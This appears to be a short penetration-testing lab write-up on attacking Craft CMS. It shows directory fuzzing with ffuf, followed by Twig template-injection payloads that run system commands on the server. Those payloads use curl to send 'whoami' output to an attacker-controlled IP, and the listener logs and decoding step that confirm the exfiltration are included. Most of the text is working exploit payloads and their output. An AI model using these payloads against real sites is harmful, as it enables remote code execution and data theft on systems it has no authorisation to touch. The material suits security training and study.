Case Study: Craft CMS


/admin directory validates the usage of the Craft CMS.
Last updated


/admin directory validates the usage of the Craft CMS.
Last updated
$ ffuf -u 'http://craft/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -c -ic -ac
<SNIP>
index [Status: 200, Size: 56254, Words: 12711, Lines: 740, Duration: 2847ms]
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3572ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3448ms]{{[0]|reduce('system','curl http://192.168.45.155:7331/hello')}}$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:01:27] code 404, message File not found
192.168.152.105 - - [15/Aug/2024 17:01:27] "GET /hello HTTP/1.1" 404 -{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}}
{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.45.155:7331/?exfil=' ~ exfil)}}$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:45:00] "GET /?exfil=%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A HTTP/1.1" 200 -
# URL-decoding the exfiltrated data
$ echo "%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A" | python3 -c 'import sys;from urllib.parse import unquote;print(unquote(sys.stdin.read()));'
<br />
www-data
www-data<br />